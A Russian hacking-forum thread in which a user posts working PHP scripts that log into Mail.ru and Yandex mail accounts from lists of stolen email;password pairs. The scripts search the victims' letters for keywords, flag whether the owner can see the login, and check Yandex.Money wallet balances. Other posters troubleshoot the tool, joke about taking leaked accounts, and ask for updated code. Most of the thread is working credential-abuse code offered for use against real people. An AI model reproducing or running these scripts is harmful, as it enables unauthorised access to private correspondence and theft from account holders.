Mail.ru letters finder[PHP]

Discussion in 'Уязвимости Mail-сервисов' started by llexus, 28 Sep 2010.

  1. llexus

    llexus Member

    Joined:
    19 Sep 2010
    Messages:
    57
    Likes Received:
    6
    Reputations:
    10
    Mail.ru/Yandex.ru letters finder
    PHP:
    [/b]

    Вот написал тут.
    Суть такова(с):
    Вы отдаете ей на съеденье список mail;pass и задаете список слов, которые надо искать в письмах.
    Ну и на выходе список совпадений.
    [PHP]<?php
    function mail_search($ssearch$cookie){

    $sock fsockopen("win.mail.ru"80$errno$errstr);
    if(!
    $sock) {
       echo 
    "Couldn't open socket!";
       return;
    }
    $search   urlencode($ssearch);
    $headers  "GET /cgi-bin/gosearch?q_query={$search} HTTP/1.1\r\n";
    $headers .= "User-Agent: Opera\r\n";
    $headers .= "Content-type: application/x-www-form-urlencoded\r\n";
    $headers .= "Cookie: {$cookie}\r\n";
    $headers .= "Host: win.mail.ru\r\n\r\n";

    fwrite($sock$headers);

    $line "";
    while(!
    feof($sock)){
       
    $line .= fgets($sock1024);
    }

    $pattern "|не найдено ни одного письма|i";
    if(!
    preg_match($pattern$line$matches)) {
       
    $pattern "|Показаны письма&nbsp;[\d-]+ из ([\d]+)&nbsp;|i";
       if(
    preg_match($pattern$line$matches)) {
          
    $letters $matches[1];
          echo 
    "<li><font color='green'>По запросу {$ssearch} найдено {$letters} письмо(а/ем)</font></li><br /><br />";
          
    $pattern '|<td class=lettem>(.+)\n.+\n.+\n.+\n.+\n.+\n(.+)|i';
          
    preg_match_all($pattern$line$matches);;
          echo 
    "<ul>";
          for(
    $i 0$i count($matches[0]); $i++) {
             echo 
    "<li>";
             echo 
    strip_tags($matches[1][$i]);
             echo 
    "<p>".strip_tags($matches[2][$i]);
             echo 
    "<br /><br /></li>";
          }
          echo 
    "</ul>";
       }
    } else {
       echo 
    "<li><font color='red'>По запросу {$ssearch} писем не найдено</font></li>";
    }
    fclose($sock);
    }

    set_time_limit(0);
    $filep fopen("users.txt""r"); //<<< Акки тут
    if(!$filep)
       die(
    "File opennig error!<br />");
    echo 
    "<table>";
    while (!
    feof($filep)) {
       
    $acc fgets($filep);
       
    $acc str_replace("\r\n"""$acc);
       
    $pair explode(";"$acc);
       echo 
    "<tr><td>";
       if(
    count($pair) > 2) {
          echo 
    "Password contains ;<br />";
          continue;
       }
       
    $acc explode("@"$pair[0]);
       
    $login $acc[0];
       
    $domain $acc[1];
       
    $password $pair[1];
       if(
    $password !== "")
       
    mailru_searcher($login$domain$password);
       echo 
    "</tr></td>";
    }
    fclose($filep);

    echo 
    "</table>";

    function 
    mailru_searcher($login$domain$password){
    echo 
    "$login@$domain;$password<br />";

    $search_array = Array("и раз""и двас""и трис""и n-c"); //<<< Ключевые слова сюда

    $sock fsockopen("win.mail.ru"80$errno$errstr);
    if(!
    $sock) {
       echo 
    "Couldn't open socket!";
       return;
    }

    $query    "Login=$login&Domain=$domain&Password=$password";
    $headers  "POST /cgi-bin/auth HTTP/1.1\r\n";
    $headers .= "User-Agent: Opera\r\n";
    $headers .= "Content-type: application/x-www-form-urlencoded\r\n";
    $headers .= "Host: auth.mail.ru\r\n";
    $headers .= "Content-Length: ".strlen($query)."\r\n\r\n";

    fwrite($sock$headers.$query);

    $line "";
    while(!
    feof($sock)){
       
    $line .= fgets($sock1024);
    }

    $pattern "|HTTP/1.1 ([\d]+) |i";
    if(!
    preg_match($pattern$line$matches)) {
       echo 
    "Bad server response!<br />";
       return;
    }
    if (
    $matches[1] != 302) {
       echo 
    "Incorrect user/password!<br />";
       return;
    }

    $pattern "|Set-Cookie: (Mpop=[^;]+)|" ;
    if(!
    preg_match($pattern$line$matches)) {
       echo 
    "Incorrect cookie!<br />";
       return;
    }
    $user_cookie $matches[1];
    fclose($sock);

    echo 
    "<ul>";
    foreach(
    $search_array as $search_query){
       
    mail_search($search_query$matches[1]);
    }
    echo 
    "</ul>";

    }
    ?>
    Особо не тестил , но вроде пашет. Скорочть не ахти, но всяко лучше чем руками. Буду рад принять советы по оптимизации.
    ЗЫ
    Надо дописать еще штуку, которая будет палить если у юзверя включено отображение последнего входа
    ЗЫЫ
    Извиняюсь, если где нибудь подобное уже выкладывалось. Не нашел.
     
    #1 llexus, 28 Sep 2010
    Last edited: 3 Oct 2010
    3 people like this.
  2. HIMIKAT

    HIMIKAT Elder - Старейшина

    Joined:
    12 Jan 2007
    Messages:
    2,707
    Likes Received:
    581
    Reputations:
    403
    Планируешь улучшать только в виде php, вариант с приложением рассматривается? Хотя такое приложение я уже где-то видел.
     
  3. llexus

    llexus Member

    Joined:
    19 Sep 2010
    Messages:
    57
    Likes Received:
    6
    Reputations:
    10
    Хотелось бы на Спп. Но никакого опыть работы с сокетами, да и вообще с GUI нет( Если бы кто-нибудь подробно объяснил, что делать надо, то с удовольствием бы написал.
    Вот прилепил еще чтоб, палил если у пользователя включено отображение последнего входа.
    PHP:
    <?php
    function mail_search($ssearch$cookie){

    $sock fsockopen("win.mail.ru"80$errno$errstr);
    if(!
    $sock) {
       echo 
    "Couldn't open socket!";
       return;
    }
    $search   urlencode($ssearch);
    $headers  "GET /cgi-bin/gosearch?q_query={$search} HTTP/1.1\r\n";
    $headers .= "User-Agent: Opera\r\n";
    $headers .= "Content-type: application/x-www-form-urlencoded\r\n";
    $headers .= "Cookie: {$cookie}\r\n";
    $headers .= "Host: win.mail.ru\r\n\r\n";

    fwrite($sock$headers);

    $line "";
    while(!
    feof($sock)){
       
    $line .= fgets($sock1024);
    }

    $pattern "|не найдено ни одного письма|i";
    if(!
    preg_match($pattern$line$matches)) {
       
    $pattern "|Показаны письма&nbsp;[\d-]+ из ([\d]+)&nbsp;|i";
       if(
    preg_match($pattern$line$matches)) {
          
    $letters $matches[1];
          echo 
    "<li><font color='green'>По запросу {$ssearch} найдено {$letters} письмо(а/ем)</font></li><br /><br />";
          
    $pattern '|<td class=lettem>(.+)\n.+\n.+\n.+\n.+\n.+\n(.+)|i';
          
    preg_match_all($pattern$line$matches);;
          echo 
    "<ul>";
          for(
    $i 0$i count($matches[0]); $i++) {
             echo 
    "<li>";
             echo 
    strip_tags($matches[1][$i]);
             echo 
    "<p>".strip_tags($matches[2][$i]);
             echo 
    "<br /><br /></li>";
          }
          echo 
    "</ul>";
       }
    } else {
       echo 
    "<li><font color='red'>По запросу {$ssearch} писем не найдено</font></li>";
    }
    fclose($sock);
    }

    set_time_limit(0);
    $filep fopen("users.txt""r");
    if(!
    $filep)
       die(
    "File opennig error!<br />");
    echo 
    "<table>";
    while (!
    feof($filep)) {
       
    $acc fgets($filep);
       
    $acc str_replace("\r\n"""$acc);
       
    $pair explode(";"$acc);
       echo 
    "<tr><td>";
       if(
    count($pair) > 2) {
          echo 
    "Password contains ;<br />";
          continue;
       }
       
    $acc explode("@"$pair[0]);
       
    $login $acc[0];
       
    $domain $acc[1];
       
    $password $pair[1];
       if(
    $password !== "")
       
    mailru_searcher($login$domain$password);
       echo 
    "</tr></td>";
    }
    fclose($filep);

    echo 
    "</table>";

    function 
    mailru_searcher($login$domain$password){
    echo 
    "<font color=blue><strong>$login@$domain;$password</strong></font><br />";
    $SEC_DETECT true;                                           // <<< On/Off палево палева
    $search_array = Array("и раз""и двас""и трис""и n-c");

    $sock fsockopen("win.mail.ru"80$errno$errstr);
    if(!
    $sock) {
       echo 
    "Couldn't open socket!";
       return;
    }

    $query    "Login=$login&Domain=$domain&Password=$password";
    $headers  "POST /cgi-bin/auth HTTP/1.1\r\n";
    $headers .= "User-Agent: Opera\r\n";
    $headers .= "Content-type: application/x-www-form-urlencoded\r\n";
    $headers .= "Host: auth.mail.ru\r\n";
    $headers .= "Content-Length: ".strlen($query)."\r\n\r\n";

    fwrite($sock$headers.$query);

    $line "";
    while(!
    feof($sock)){
       
    $line .= fgets($sock1024);
    }

    $pattern "|HTTP/1.1 ([\d]+) |i";
    if(!
    preg_match($pattern$line$matches)) {
       echo 
    "Bad server response!<br />";
       return;
    }
    if (
    $matches[1] != 302) {
       echo 
    "Incorrect user/password!<br />";
       return;
    }

    $pattern "|Set-Cookie: (Mpop=[^;]+)|" ;
    if(!
    preg_match($pattern$line$matches)) {
       echo 
    "Incorrect cookie!<br />";
       return;
    }
    $user_cookie $matches[1];
    fclose($sock);

    if(
    $SEC_DETECT) {
    $sock fsockopen("win.mail.ru"80$errno$errstr);
    if(!
    $sock) {
       echo 
    "Couldn't open socket!";
       return;
    }
    $headers  "GET /cgi-bin/start?back=1 HTTP/1.1\r\n";
    $headers .= "User-Agent: Opera\r\n";
    $headers .= "Content-type: application/x-www-form-urlencoded\r\n";
    $headers .= "Cookie: {$user_cookie}\r\n";
    $headers .= "Host: win.mail.ru\r\n\r\n";

    fwrite($sock$headers);

    $line "";
    while(!
    feof($sock)){
       
    $line .= fgets($sock1024);
    }
    fclose($sock);
    $pattern "|>Ваш адрес сейчас:<|i";
    if(
    preg_match($pattern$line))
    echo 
    "<font size=20 color=red>ПАЛЕВО ПАЦАНЫ!!!!111</font><br />";
    }
    echo 
    "<ul>";
    foreach(
    $search_array as $search_query){
       
    mail_search($search_query$matches[1]);
    }
    echo 
    "</ul>";

    }
    ?>
     
    #3 llexus, 28 Sep 2010
    Last edited: 28 Sep 2010
    1 person likes this.
  4. dpe_x

    dpe_x Elder - Старейшина

    Joined:
    8 Sep 2010
    Messages:
    155
    Likes Received:
    35
    Reputations:
    14
    Code:
    Warning: fsockopen(): unable to connect to win.mail.ru:80 in /home/d/dpe2.h1.ru/WWW/Lettersfinder.php on line 77  Couldn't open socket!
    Ошибка.
    В чем проблема ?
     
  5. llexus

    llexus Member

    Joined:
    19 Sep 2010
    Messages:
    57
    Likes Received:
    6
    Reputations:
    10
    Скорее всего что то с сервером, на котором запускается. Попробуй на своем. У меня брут тоже запахал только на своем сервере
     
  6. waik

    waik Elder - Старейшина

    Joined:
    2 Nov 2008
    Messages:
    405
    Likes Received:
    163
    Reputations:
    12
    dpe_x там веть по русски написано что не может открыть сокет.
    У тебя их на таком домене нету.
    Ищи другой домен или запускай со своего ПК.
    А раз ты свои акки выложил на всеобщее обозрение то я их пожалуй возьму.Вот тут акки:
     
  7. dpe_x

    dpe_x Elder - Старейшина

    Joined:
    8 Sep 2010
    Messages:
    155
    Likes Received:
    35
    Reputations:
    14
    бери это подарок.
     
  8. llexus

    llexus Member

    Joined:
    19 Sep 2010
    Messages:
    57
    Likes Received:
    6
    Reputations:
    10
    Написал нечто подобное для Yandex + чекер бабоса:
    http_chunked_decode.php
    PHP:
    <?php
    function is_hex($hex) {
       
    // regex is for weenies
       
    $hex strtolower(trim(ltrim($hex,"0")));
       if (empty(
    $hex)) { $hex 0; };
       
    $dec hexdec($hex);
       return (
    $hex == dechex($dec));
    }


    function 
    http_chunked_decode($chunk) {
       
    $pos 0;
       
    $len strlen($chunk);
       
    $dechunk null;

       while((
    $pos $len)
             && (
    $chunkLenHex substr($chunk,$pos, ($newlineAt strpos($chunk,"\n",$pos+1))-$pos)))
       {
          if (! 
    is_hex($chunkLenHex)) {
          
    trigger_error('Value is not properly chunk encoded'E_USER_WARNING);
          return 
    $chunk;
       }

       
    $pos $newlineAt 1;
       
    $chunkLen hexdec(rtrim($chunkLenHex,"\r\n"));
       
    $dechunk .= substr($chunk$pos$chunkLen);
       
    $pos strpos($chunk"\n"$pos $chunkLen) + 1;
    }
    return 
    $dechunk;
    }
    ?>
    ClassYandexFinder.php
    PHP:
    <?php
    require_once("http_chunked_decode.php");
    class 
    ClassYandexFinder {
       private 
    $user_cookie;

       public function 
    __construct(){
          
    $user_cookie false;
       }

       public function 
    login($user$pass){
          
    $this->user_cookie false;
          
    $sock fsockopen("passport.yandex.ru"80$errno$errstr);
          if(!
    $sock) {
             echo 
    "Couldn't open socket!";
             return 
    false;
          }
          echo 
    "<font color=\"blue\" size=\"5\">{$user};{$pass}</font><br />";
          
    $query    "login={$user}&passwd={$pass}";
          
    $headers  "POST /passport?mode=auth HTTP/1.1\r\n";
          
    $headers .= "User-Agent: Opera\r\n";
          
    $headers .= "Content-type: application/x-www-form-urlencoded\r\n";
          
    $headers .= "Host: passport.yandex.ru\r\n";
          
    $headers .= "Connection: Close\r\n";
          
    $headers .= "Content-Length: ".strlen($query)."\r\n\r\n";

          
    fwrite($sock$headers.$query);
          
    $line "";
          for(
    $i 0$i 15$i++){
             
    $line .= fgets($sock1024);
          }

          
    $pattern "|HTTP/1.1 ([\d]+) |i";
          if(!
    preg_match($pattern$line$matches)) {
             echo 
    "<font color=\"red\">Bad server response!</font><br />";
             return 
    false;
          }
          if (
    $matches[1] != 302) {
             echo 
    "<font color=\"red\">Incorrect user/password!</font><br />";
             return 
    false;
          }
          
    $pattern "|Set-Cookie: (Session_id=[^;]+)|" ;
          if(!
    preg_match($pattern$line$matches)) {
             echo 
    "<font color=\"red\">Incorrect cookie!</font><br />";
             return 
    false;
          }

          
    $this->user_cookie $matches[1];
          echo 
    "<font color=\"green\">Success!</font><br />";
          return 
    true;
          
    fclose($sock);
       }

       public function 
    SearchLetters($ssearch){
          if(!
    $this->user_cookie){
             echo 
    "Please login<br />";
             return 
    false;
          }
          
    $sock fsockopen("mail.yandex.ru"80$errno$errstr);
          if(!
    $sock) {
             echo 
    "Couldn't open socket!";
             return 
    false;
          }
          
    $search urlencode($ssearch);
          
    $headers  "GET /neo/search?addr=from&request={$search} HTTP/1.1\r\n";
          
    $headers .= "User-Agent: Opera\r\n";
          
    $headers .= "Cookie: {$this->user_cookie}\r\n";
          
    $headers .= "Connection: Close\r\n";
          
    $headers .= "Host: mail.yandex.ru\r\n\r\n";

          
    fwrite($sock$headers);
          
    $line "";
          while(!
    feof($sock)){
             
    $line .= fgets($sock1024);
          }
          
    $line substr($linestrpos($line"\r\n\r\n") + 4);
          
    $line http_chunked_decode($line);
          
    $line iconv("utf-8","windows-1251//IGNORE",$line);

          
    $patternNF "|Нет писем, соответствующих запросу|";
          
    $patternF  "|Вы также можете воспользоваться|";

          if (
    preg_match($patternNF$line)){
             echo 
    "<font color=\"red\">По запросу \"{$ssearch}\" писем не найдено </font><br />";
          }
          else if (
    preg_match($patternF$line)) {
             echo 
    "<font color=\"green\" size=\"5\">По запросу \"{$ssearch}\" чет нашлось: </font><br />";
             
    $pattern '#<td class="b-grid__text"><a[^>]+>([^<]+).+?b-grid__subject" title=[\'"](.+?)[\'"]>.+?b-grid__quote" title=[\'"](.+?)[\'"]>.+?b-grid__date" title=[\'"](.+?)[\'"]>#';
             
    preg_match_all($pattern$line$matches);
             echo 
    "<table border=\"1px\" width=\"60%\">\n";
             for(
    $i 0$i count($matches[1]); $i++){
                echo 
    "<tr>\n";
                echo 
    "<td>{$matches[1][$i]}&nbsp;</td>";
                echo 
    "<td>{$matches[2][$i]}&nbsp;</td>";
                echo 
    "<td>{$matches[3][$i]}&nbsp;</td>";
                echo 
    "<td>{$matches[4][$i]}&nbsp;</td>";
                echo 
    "</tr>\n";
             }
             echo 
    "</table>\n";
          } else {
             echo 
    "<font color=\"red\">Неведомая хуита</font><br />";
          }
          
    fclose($sock);
       }

       public function 
    CheckMoney(){
          if(!
    $this->user_cookie){
             echo 
    "Please login<br />";
             return 
    false;
          }
          
    $sock fsockopen("money.yandex.ru"80$errno$errstr);
          if(!
    $sock) {
             echo 
    "Couldn't open socket!";
             return 
    false;
          }

          
    $headers  "GET / HTTP/1.1\r\n";
          
    $headers .= "User-Agent: Opera\r\n";
          
    $headers .= "Host: money.yandex.ru\r\n";
          
    $headers .= "Connection: Close\r\n";
          
    $headers .= "Accept:text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n";
          
    $headers .= "Cookie: {$this->user_cookie}\r\n\r\n";

          
    fwrite($sock$headers);
          
    $line "";
          while(!
    feof($sock)){
             
    $line .= fgets($sock1024);
          }

          
    $patternNYD "|удобный и безопасный способ платить за телефон|";
          
    $patternNM '|<div class="inside-main">|';
          
    $patternM '|icons-sprite spr-wallet.+\n.+?<strong>([^<]+)|';
          if (
    preg_match($patternNYD$line)){
             echo 
    "<font color=\"blue\">Нет кошеля</font><br />";
          }
          else if (
    preg_match($patternNM$line)){
             echo 
    "<font color=\"orange\">Кошель есть, но девственник</font><br />";
          }
          else if (
    preg_match($patternM$line$matches)){
             echo 
    "<font color=\"green\" size=\"5\">Есть бабло: $matches[1]</font><br />";
          }
          else {
             echo 
    "<font color=\"red\">Неведомая хуита</font><br />";
          }
       }
    }
    ?>
    YandexFinder.php
    PHP:
    <?php
    set_time_limit
    (0);
    require_once(
    "ClassYandexFinder.php");
    $yandexer = new ClassYandexFinder();
    $filename "users.txt";                               // email;pass лист
    $search = Array("spam""?????""PROFIT!!!"); //ключевые слова
    echo "<center>";
    $filep fopen($filename"r");
    if(!
    $filep)
       die(
    "File opennig error!<br />");
    while (!
    feof($filep)) {
       
    $acc trim(fgets($filep));
       
    $acc str_replace("\r\n"""$acc);
       
    $pair explode(";"$acc);
       if(
    count($pair) > 2) {
          echo 
    "Password contains ;<br />";
          continue;
       }
       if(
    strlen($acc) > 5){
          
    $yandexer->login($pair[0], $pair[1]);
          foreach (
    $search as $find)           // комментим эти две строки,
             
    $yandexer->SearchLetters($find);  // если хотим только ЯД чекать
          
    $yandexer->CheckMoney();  //смотрим баланс
          
    echo "<hr />";
       }
    }
    echo 
    "</center>";
    ?>
    Правда не работает пока, если у юзера такая штука:
    [​IMG]
     
    #8 llexus, 3 Oct 2010
    Last edited: 3 Oct 2010
  9. Fooog

    Fooog Elder - Старейшина

    Joined:
    19 Sep 2008
    Messages:
    307
    Likes Received:
    170
    Reputations:
    12
    нашел я что.. но вот незадача. 2013 на дворе. Кто пхп знать, мог бы под наше время код оптимизировать? сразу +10 в карму оптимизатору)